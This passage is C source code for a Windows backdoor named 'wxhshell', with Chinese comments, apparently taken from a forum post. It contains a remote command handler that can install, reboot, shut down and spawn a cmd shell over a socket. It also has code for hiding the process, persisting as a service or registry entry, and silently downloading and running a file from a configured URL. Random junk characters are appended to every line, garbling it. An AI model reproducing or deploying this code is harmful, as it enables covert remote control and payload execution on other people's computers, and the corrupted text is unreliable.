  ">PpC]Y1  
  // 帮助 phr6@TI  
  case '?': { #K:|@d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y>LgpO.  
    break; Xo]QV.n  
  } o-"/1zLg4  
  // 安装 O*^=  
  case 'i': { WlVp|s{TYP  
    if(Install()) P[6@1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6UOV,`:m+  
    else *$mDu,'8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)+1BYMo  
    break; lX$6U| !  
    } 3#o!K  
  // 卸载 s\A"B#9r  
  case 'r': { Q|/uL`_ni  
    if(Uninstall()) 8q*MhH>6I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U9GmkXRix  
    else eV$pza  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mVFz[xI  
    break; $xqI3UaX  
    } <Hw)},_*  
  // 显示 wxhshell 所在路径 %"Tn=fZIF  
  case 'p': { 'wB6-  
    char svExeFile[MAX_PATH]; 7A'd55I4  
    strcpy(svExeFile,"\n\r"); rV.04m,  
      strcat(svExeFile,ExeFile); 04>dxw)8  
        send(wsh,svExeFile,strlen(svExeFile),0); <$!^LKKzA  
    break; !pY=\vK;  
    } cz<8Kb/XV  
  // 重启 NfqJ>[}I+  
  case 'b': { pJ kaP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mNS7/I\  
    if(Boot(REBOOT)) o;bK 7D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3~ITvH,`s  
    else { ]4f;%pE  
    closesocket(wsh); <j"}EEb^  
    ExitThread(0); m:|jv|f  
    } ue8Cpn^M  
    break; z*?-*6W  
    } $OOZ-+8  
  // 关机 t}r`~AEa!  
  case 'd': { &E|2-)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H>Wi(L7  
    if(Boot(SHUTDOWN)) #Ezq}F8Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F ^& Rg  
    else { _cra_(b  
    closesocket(wsh); cm^:3(yYX  
    ExitThread(0); |^&n\vXv  
    } QH%Zbt2qS  
    break; ,'[&" Eg  
    } :.5l9Ci4  
  // 获取shell >'IFr9&3  
  case 's': { hm#S4/=#  
    CmdShell(wsh); +76{S_CZ  
    closesocket(wsh); ds@X%L;_  
    ExitThread(0); g=w,*68vuy  
    break; A$*#n8 ,  
  } O%RkU?ME  
  // 退出 h'Tn&2r6  
  case 'x': { Q|40 8EM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X"QIH|qx-  
    CloseIt(wsh); 0uX"KL]Elf  
    break; R  Fgy  
    } q;co53.+P)  
  // 离开 a(}dF?M=  
  case 'q': { vd>K=! J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >s#[dr\ww  
    closesocket(wsh); eeI aH >  
    WSACleanup(); @j +8M  
    exit(1); !O=?n<Ex"  
    break; =@%;6`AVcp  
        } B&^WRM;7t  
  } ke.{wh\0  
  } VrL==aTYXs  
V=yRE  
  // 提示信息 gp07I{0~m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v @zpF)|  
} "E`;8SZa  
  } %ux%=@%  
]L0GIVIE  
  return; }6/L5j:+  
} ?v-Y1j  
jG($:>3a@  
// shell模块句柄 jDI)iW`P  
int CmdShell(SOCKET sock) 8#%Sq=/+M  
{ 5~(.:RX:q  
STARTUPINFO si; zJ;K4)"j  
ZeroMemory(&si,sizeof(si)); HQi57QB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >7@kwj-f)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $Pa7B]A,Ae  
PROCESS_INFORMATION ProcessInfo; uK6_HvHuy  
char cmdline[]="cmd"; QF^_4Yn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qk}(E#.>F\  
  return 0; Wxjv=#3  
} zqEMR>px  
Uh.XL=wY  
// 自身启动模式 +<p?i]3CHe  
int StartFromService(void) -QH[gi{%`  
{ oK3uGPi  
typedef struct % :?_N  
{ &P8 Run  
  DWORD ExitStatus; vCC}IDd  
  DWORD PebBaseAddress; rEI]{?eoF  
  DWORD AffinityMask; YG2rJY+*  
  DWORD BasePriority; L #'N  
  ULONG UniqueProcessId; :,.g_@wvG  
  ULONG InheritedFromUniqueProcessId; M6n9>aW4  
}   PROCESS_BASIC_INFORMATION; KP)BD;  
iUuG}rqj  
PROCNTQSIP NtQueryInformationProcess; -$pS {q;  
k~|nU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JQVu&S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -ya0!D  
XD\RD  
  HANDLE             hProcess; +R7";.  
  PROCESS_BASIC_INFORMATION pbi; S<n3wR"^  
H^jFvAI,8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HV:mS*e  
  if(NULL == hInst ) return 0; sA18f2  
<pd6,l\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5j(3pV`_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y w"Tw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !\{&^,y  
xl5n(~g)p  
  if (!NtQueryInformationProcess) return 0; $YDZtS&h  
f'/@h Na3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s>sIji  
  if(!hProcess) return 0; W":is"  
muLt/.EZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i4T U}.h8  
\'( @{  
  CloseHandle(hProcess); 5ug?'TOj'  
4}{S8fGk%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MFHPh8P  
if(hProcess==NULL) return 0; UA4Q9<>~  
} g  WSV  
HMODULE hMod; U\S%Jq*  
char procName[255]; uM0!,~&9|  
unsigned long cbNeeded; 0x'-\)v>3  
<j1l&H|ux,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a,Gd\.D  
gi`K^L=C  
  CloseHandle(hProcess); 4XL*e+UfJ  
]2n&DJu  
if(strstr(procName,"services")) return 1; // 以服务启动 Hfer\+RX  
^G63GYh]y  
  return 0; // 注册表启动 .%+`e  
} xG<H${ k;  
:"ZH  
// 主模块 ')#E,Y%Hq  
int StartWxhshell(LPSTR lpCmdLine) dfB#+wh  
{ T:0X-U  
  SOCKET wsl; 2G"mm (   
BOOL val=TRUE; bhXH<=  
  int port=0; U*8;ZXi  
  struct sockaddr_in door; ? WWnt^  
Kq/W-VyGh  
  if(wscfg.ws_autoins) Install(); ]UnZc  
Xu#\CYk  
port=atoi(lpCmdLine); "Kk3#  
8F0+\40  
if(port<=0) port=wscfg.ws_port; ,hK0F3?H>  
lo:]r.lX{  
  WSADATA data; Du>dTi~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yWIM,2x}  
8WWRKP1V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g~d}?B\<@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Egt;Bj#%  
  door.sin_family = AF_INET; x8p#WB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |u)?h] >  
  door.sin_port = htons(port); &Pt|  
LGT\1u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e , zR  
closesocket(wsl); /:>f$k4~h  
return 1; Ygn"7  
} 2F-!SI  
x]%e_  
  if(listen(wsl,2) == INVALID_SOCKET) { 84P^7[YX>  
closesocket(wsl); h$ M+Yo+  
return 1; k ]x64hgm  
} JGIN<J85e  
  Wxhshell(wsl); ~\hA-l36  
  WSACleanup(); I/9ZUxQCyG  
%" $.2O@  
return 0; zW%-Z6%D  
!m pRLBH  
} D8_m_M| P  
'j$iSW&  
// 以NT服务方式启动 io cr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h 88iZK  
{ f(DGC2R <  
DWORD   status = 0; A <iF37.  
  DWORD   specificError = 0xfffffff; e =& abu  
ld94ek  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yY*OAC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  D@qq=M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]M{SM`Ya  
  serviceStatus.dwWin32ExitCode     = 0; }Evyfc#D  
  serviceStatus.dwServiceSpecificExitCode = 0; fl~k')s  
  serviceStatus.dwCheckPoint       = 0; V~5vVY_HG&  
  serviceStatus.dwWaitHint       = 0; #e&j]Q$Eh  
/woa[7Xe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +IVVsVp  
  if (hServiceStatusHandle==0) return; H's67E/>*  
%'`Dd  
status = GetLastError(); e~J% NU'&  
  if (status!=NO_ERROR) q=bJ9iJsq  
{ <(d ^2-0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1*?IDYB  
    serviceStatus.dwCheckPoint       = 0; N!;Y;<Ro_  
    serviceStatus.dwWaitHint       = 0; .D^k0V  
    serviceStatus.dwWin32ExitCode     = status; ,e>C)wq;  
    serviceStatus.dwServiceSpecificExitCode = specificError; M#})  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /'E+(Y&:J  
    return; $$ {ebt  
  } %kNkDI  
* ok89 ad  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ] V]~I.  
  serviceStatus.dwCheckPoint       = 0; 6\O4R  
  serviceStatus.dwWaitHint       = 0; -O~WHi5}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |IH-a"  
} 0"u*Kn  
j3`:;'L  
// 处理NT服务事件,比如:启动、停止  ^]wm Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4'+/R%jk"  
{ _@sqCf%|  
switch(fdwControl) S=[K/Kf-  
{  A`#v-  
case SERVICE_CONTROL_STOP: /lttJJDU  
  serviceStatus.dwWin32ExitCode = 0; 8c+i+gp!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~n]:f7?I  
  serviceStatus.dwCheckPoint   = 0; t>&$_CSWK  
  serviceStatus.dwWaitHint     = 0;  ceVej'  
  { ;^}cZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:r<es1  
  } CJjma=XH  
  return; / c/!13|  
case SERVICE_CONTROL_PAUSE: MnKEZ: 2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jY>KF'y  
  break; ErB6fl  
case SERVICE_CONTROL_CONTINUE: {>QrI4*A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +ls *04  
  break; HJBUN1n  
case SERVICE_CONTROL_INTERROGATE: }K"=sE  
  break; A &w)@DOe  
}; dSIMwu6u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kp<9o!?)  
} (U!WD`Ym  
E_WiQ?p   
// 标准应用程序主函数 0plRsZ}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k6[t$|lMy  
{ j@UW[,UI  
TKoO\\  
// 获取操作系统版本 }M'\s  
OsIsNt=GetOsVer(); 9jaYmY]~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s26s:A3rh  
iv#9{T  
  // 从命令行安装 /J{P8=x}_:  
  if(strpbrk(lpCmdLine,"iI")) Install(); uHz D  
f(D?g  
  // 下载执行文件 U <4<8'  
if(wscfg.ws_downexe) { M/d!&Bk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9]NsWd^^  
  WinExec(wscfg.ws_filenam,SW_HIDE); .j7|;Ag  
} LfOGq%&  
x"AYt:ewuc  
if(!OsIsNt) { v.r$]O  
// 如果时win9x,隐藏进程并且设置为注册表启动 @H&Aj..  
HideProc(); b^Rg_,s  
StartWxhshell(lpCmdLine); !6<2JNf  
} .h~)|" uzW  
else %<1fj#X8  
  if(StartFromService()) qcQ`WU{  
  // 以服务方式启动 X:8=jHkz  
  StartServiceCtrlDispatcher(DispatchTable); =5dv38  
else K<Yh'RvTD  
  // 普通方式启动 woR((K] #G  
  StartWxhshell(lpCmdLine); .s7/bF  
,vg8iR a  
return 0; s%4)}w;z  
}
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只看该作者 1 发表于: 2006-10-10
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